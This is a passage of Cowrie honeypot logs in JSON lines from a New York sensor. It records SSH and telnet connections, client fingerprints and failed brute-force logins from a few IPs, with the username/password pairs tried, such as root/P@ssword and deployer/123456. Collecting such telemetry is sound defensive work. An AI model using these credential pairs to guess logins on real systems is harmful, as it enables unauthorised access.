0@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:52.211343Z","src_ip":"45.153.34.112","session":"354a9b694437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60352,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd476ccf2c7c","protocol":"telnet","message":"New connection: 192.119.13.58:60352 (10.17.0.5:23) [session: fd476ccf2c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:52.339332Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:52.457247Z","src_ip":"45.153.34.112","session":"354a9b694437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33130,"dst_ip":"10.17.0.5","dst_port":23,"session":"35f6c7ee4e08","protocol":"telnet","message":"New connection: 192.119.13.58:33130 (10.17.0.5:23) [session: 35f6c7ee4e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:52.582306Z"}
{"eventid":"cowrie.session.closed","duration":0.007628202438354492,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:52.589833Z","src_ip":"192.119.13.58","session":"35f6c7ee4e08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:53.541932Z","src_ip":"45.153.34.112","session":"354a9b694437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35068,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ddc6d41c426","protocol":"ssh","message":"New connection: 45.153.34.112:35068 (10.17.0.5:22) [session: 1ddc6d41c426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:55.571197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:55.593285Z","src_ip":"45.153.34.112","session":"1ddc6d41c426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:55.658545Z","src_ip":"45.153.34.112","session":"1ddc6d41c426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:55.977627Z","src_ip":"45.153.34.112","session":"1ddc6d41c426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:57.062943Z","src_ip":"45.153.34.112","session":"1ddc6d41c426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35074,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fdd0e98f353","protocol":"ssh","message":"New connection: 45.153.34.112:35074 (10.17.0.5:22) [session: 3fdd0e98f353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:59.200484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:59.205465Z","src_ip":"45.153.34.112","session":"3fdd0e98f353","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:59.287962Z","src_ip":"45.153.34.112","session":"3fdd0e98f353","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:14:59.534988Z","src_ip":"45.153.34.112","session":"3fdd0e98f353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:00.732200Z","src_ip":"45.153.34.112","session":"3fdd0e98f353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50208,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8b69fb6b4bf","protocol":"ssh","message":"New connection: 45.153.34.112:50208 (10.17.0.5:22) [session: e8b69fb6b4bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:02.649073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:02.657424Z","src_ip":"45.153.34.112","session":"e8b69fb6b4bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:02.740464Z","src_ip":"45.153.34.112","session":"e8b69fb6b4bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:03.105751Z","src_ip":"45.153.34.112","session":"e8b69fb6b4bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:04.192714Z","src_ip":"45.153.34.112","session":"e8b69fb6b4bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.402987003326416,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:06.288966Z","src_ip":"192.119.13.58","session":"e39f70304a15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":43054,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f257cabc213","protocol":"ssh","message":"New connection: 43.134.175.218:43054 (10.17.0.5:22) [session: 6f257cabc213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:06.408024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:06.415062Z","src_ip":"43.134.175.218","session":"6f257cabc213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50228,"dst_ip":"10.17.0.5","dst_port":22,"session":"c65c95d7d16e","protocol":"ssh","message":"New connection: 45.153.34.112:50228 (10.17.0.5:22) [session: c65c95d7d16e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:06.433360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:06.441221Z","src_ip":"45.153.34.112","session":"c65c95d7d16e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:06.527541Z","src_ip":"45.153.34.112","session":"c65c95d7d16e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:06.664591Z","src_ip":"43.134.175.218","session":"6f257cabc213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33832,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c8dbb2cb8cc","protocol":"telnet","message":"New connection: 192.119.13.58:33832 (10.17.0.5:23) [session: 3c8dbb2cb8cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:06.721286Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:06.779231Z","src_ip":"45.153.34.112","session":"c65c95d7d16e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.81228017807007,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:06.803651Z","src_ip":"192.119.13.58","session":"9aff59726344","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"baby","message":"login attempt [root/baby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:07.681991Z","src_ip":"43.134.175.218","session":"6f257cabc213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:07.865643Z","src_ip":"45.153.34.112","session":"c65c95d7d16e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41048,"dst_ip":"10.17.0.5","dst_port":23,"session":"e67aa8532606","protocol":"telnet","message":"New connection: 192.119.13.58:41048 (10.17.0.5:23) [session: e67aa8532606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:08.403686Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:08.930737Z","src_ip":"43.134.175.218","session":"6f257cabc213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57826,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca1792bfaf21","protocol":"ssh","message":"New connection: 45.153.34.112:57826 (10.17.0.5:22) [session: ca1792bfaf21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:09.860653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:09.865331Z","src_ip":"45.153.34.112","session":"ca1792bfaf21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:09.950971Z","src_ip":"45.153.34.112","session":"ca1792bfaf21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:10.197975Z","src_ip":"45.153.34.112","session":"ca1792bfaf21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.074692487716675,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:11.091731Z","src_ip":"192.119.13.58","session":"e40d42948d9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:11.282856Z","src_ip":"45.153.34.112","session":"ca1792bfaf21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.88237380981445,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:11.449794Z","src_ip":"192.119.13.58","session":"d725382bb3c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57746,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8f926570849","protocol":"telnet","message":"New connection: 192.119.13.58:57746 (10.17.0.5:23) [session: d8f926570849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:12.473394Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59284,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f06c768a8b6","protocol":"telnet","message":"New connection: 192.119.13.58:59284 (10.17.0.5:23) [session: 7f06c768a8b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:12.866731Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57848,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e91a74b5f01","protocol":"ssh","message":"New connection: 45.153.34.112:57848 (10.17.0.5:22) [session: 0e91a74b5f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:13.362782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:13.461799Z","src_ip":"45.153.34.112","session":"0e91a74b5f01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:13.465772Z","src_ip":"45.153.34.112","session":"0e91a74b5f01","protocol":"ssh"}
